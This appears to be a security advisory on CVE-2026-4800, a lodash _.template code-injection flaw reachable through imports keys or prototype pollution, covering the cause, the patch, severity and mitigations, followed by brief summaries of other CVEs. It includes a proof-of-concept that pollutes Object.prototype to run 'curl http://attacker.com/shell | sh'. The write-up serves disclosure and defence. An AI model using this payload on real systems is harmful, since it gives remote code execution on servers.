Apr 2, 2026·6 min read·430 visits
A bypass in lodash's _.template sanitization logic permits remote code execution via direct input or prototype pollution. Attackers can leverage ES6 default parameter syntax within unsanitized imports keys to execute arbitrary code when the template function is compiled.
CVE-2026-4800 is a high-severity code injection vulnerability (CWE-94) in the lodash library's _.template function. Arising from an incomplete patch for CVE-2021-23337, this flaw allows unauthenticated attackers to execute arbitrary JavaScript upon template compilation via malicious object keys.
The lodash library provides the _.template utility function for generating compiled template functions. This function accepts a template string and an options object, returning a specialized executable function. The options object configuration includes an imports property, which defines global variables made available to the template's execution context.
CVE-2026-4800 documents a bypass of a previous security fix (CVE-2021-23337) within this compilation logic. The underlying issue is classified as Improper Control of Generation of Code ('Code Injection') under CWE-94. The sanitization logic fails to validate the key names supplied within the imports object before appending them to a dynamically constructed function signature.
This vulnerability fundamentally compromises the integrity of the application relying on lodash for template compilation. If user-controlled data influences the imports object keys, an attacker achieves unauthenticated remote code execution. The impact applies identically to server-side Node.js environments and client-side browser contexts.
The _.template compiler generates JavaScript dynamically. It parses the template body and constructs a signature using the Function() constructor. The parameters of this constructed function are derived from strings: the variable option and the properties of the imports object.
In the patch for CVE-2021-23337, developers mitigated code injection by validating the variable option against the regular expression reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/. This prevented attackers from escaping the variable name and injecting code. However, the exact same vector exists within the keys of the imports object, which were omitted from this validation logic.
Modern JavaScript permits default parameter assignments within function signatures. An attacker can construct an imports object key containing an ES6 default parameter syntax, such as x=require('child_process').execSync(...). When the lodash compilation logic joins these keys to build the Function() arguments, it places the attacker's expression directly into the signature.
The vulnerability is exacerbated by lodash's object merging strategy. The _.template logic uses the assignInWith function to merge default options with provided options. Because assignInWith traverses inherited properties using a for..in loop, the imports keys can be sourced indirectly via Object Prototype Pollution. If an attacker pollutes Object.prototype.imports, the compilation logic processes those polluted keys without requiring direct application input.
An analysis of the vulnerable _.template implementation reveals how the unvalidated keys reach the evaluation sink. The options parsing phase extracts keys from the imports object to establish the execution context.
// Vulnerable logic pattern (simplified)
var importsKeys = keys(imports);
// ...
// The imports keys are passed into the Function constructor
var result = Function(importsKeys.join(','), source);In the fixed version (lodash 4.18.0), the maintainers corrected this oversight. The patch expands the application of reForbiddenIdentifierChars to iterate over every key within the imports object. If any key contains a forbidden character (such as the = required for the ES6 default parameter attack), the execution is aborted or the key is neutralized.
Furthermore, the patch alters the underlying object merging logic. The use of assignInWith is replaced with assignWith, and explicit hasOwnProperty checks are introduced. This ensures that properties inherited from the Object.prototype chain are discarded during the preparation of the imports object.
These combined changes comprehensively eliminate both the direct injection vector and the indirect prototype pollution vector. The function signature construction is now strictly limited to standard JavaScript identifiers, neutralizing the primary compilation sink.
Exploitation relies on manipulating the function signature constructed during template compilation. The direct vector requires the target application to explicitly pass untrusted, user-controlled objects into the imports parameter of _.template. The attacker structures the JSON payload to include a key name formatted as an ES6 default parameter.
The indirect exploitation methodology relies on a prerequisite Object Prototype Pollution vulnerability. The attacker first sends a payload to pollute Object.prototype.imports. They inject a property key containing the malicious default parameter expression, pointing to an arbitrary value (often undefined).
// Exploitation via Prototype Pollution
Object.prototype.imports = {
'x=process.getBuiltinModule("child_process").execSync("curl http://attacker.com/shell | sh")': undefined
};
// Triggering execution
_.template('', {});When the application subsequently calls _.template, even with empty parameters, the internal assignInWith function merges the polluted prototype property into the compilation options. The Function() constructor parses the signature string, compiling the default parameter. Because default parameters are evaluated immediately during definition or instantiation, the payload executes synchronously before the template rendering even begins.
The CVSS v3.1 vector assigns CVE-2026-4800 a score of 8.1 (High). The high severity rating reflects the potential for unauthenticated Remote Code Execution. However, the Attack Complexity is rated High (AC:H) because exploitation typically requires specific application configurations or chaining with a secondary vulnerability (prototype pollution).
If successfully exploited on a Node.js server, the attacker executes arbitrary code within the context of the Node.js process. This enables full system compromise, data exfiltration, lateral movement, and the bypassing of application-layer access controls. If exploited in a client-side context, the impact mirrors Cross-Site Scripting (XSS), granting control over the user's session.
The EPSS score is 0.00068 (21st percentile). Currently, active exploitation in the wild is not confirmed. However, the widespread deployment of lodash across modern web architectures makes this an attractive target. Automated exploitation frameworks frequently include prototype pollution gadgets that align perfectly with this compilation sink.
The definitive remediation for CVE-2026-4800 is upgrading lodash to version 4.18.0 or later. This release contains the complete patch addressing the sanitization oversight and the prototype pollution exposure mechanism. Development teams must ensure that transitively dependent packages resolve to the patched version of lodash.
In environments where an immediate upgrade is impossible, engineers must implement compensating controls. Applications must sanitize any dynamic keys passed into the _.template options object. The imports object must be defined strictly with static, developer-controlled identifiers. User input should never dictate the structure of the imports object.
To mitigate the prototype pollution vector generically, Node.js applications should apply Object.freeze(Object.prototype) at application startup. This defensive programming practice prevents attackers from mutating the base prototype, severing the exploit chain before the polluted keys can reach the vulnerable lodash sink.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
lodash OpenJS Foundation | >= 4.0.0, < 4.18.0 | 4.18.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS v3.1 | 8.1 |
| EPSS Score | 0.00068 |
| Impact | Remote Code Execution |
| Exploit Status | PoC |
| CISA KEV | No |
Improper Control of Generation of Code ('Code Injection')
An authentication bypass and token leakage vulnerability exists in TSDProxy before version 1.4.4. The application unconditionally forwards its internal administrative token to all proxied backend services when identity headers are enabled. Attackers with control over an upstream backend can capture this token and replay it to the local management API to achieve full administrative control over the proxy engine.
A high-severity Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan prior to version 3.7.0. The vulnerability is located within the server-side Markdown-to-HTML parsing component for the Bazaar marketplace packages. Due to an incomplete event-handler attribute blocklist in the lute parsing engine and a lack of client-side DOM sanitization, malicious package authors can bypass restrictions using modern HTML5 event handlers. When an authenticated administrator views a malicious package, the embedded JavaScript runs in the administrator origin, allowing unauthorized workspace access, local file reading, and remote API execution.
A DNS-rebinding Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the mcp-atlassian server before version 0.17.0. The server processes unauthenticated client-supplied URLs via custom headers, validating the destination IP but failing to pin the resolved address before connecting. This allows remote adjacent-network attackers to achieve Server-Side Request Forgery (SSRF) and access restricted resources or cloud metadata services.
A high-severity denial-of-service vulnerability in @libp2p/gossipsub prior to version 16.0.0 allows unauthenticated remote attackers to trigger event loop starvation and complete node freeze by exploiting unbounded protobuf decoding limits and nested synchronous array iteration loops.
CVE-2026-49858 is a vulnerability in API Platform Core's JSON:API and HAL item normalizers where conditionally secured attributes are cached globally in memory. When deployed in long-running PHP execution environments such as FrankenPHP worker mode, Swoole, or RoadRunner, this persistent caching bypasses property-level security constraints, allowing unprivileged users to access sensitive, unauthorized fields cached during privileged requests.
CVE-2026-5078 is a log injection vulnerability in Morgan, the widely deployed Node.js HTTP request logging middleware. The vulnerability arises because the ':remote-user' logging token decodes and outputs basic authentication usernames containing control characters, such as Carriage Return (CR) and Line Feed (LF), without sanitization. An unauthenticated attacker can bypass native HTTP header parsers by Base64-encoding CRLF sequences in the Authorization header. When Morgan logs the request, these control characters force newlines in the log stream, enabling log forging, SIEM evasion, and system activity spoofing.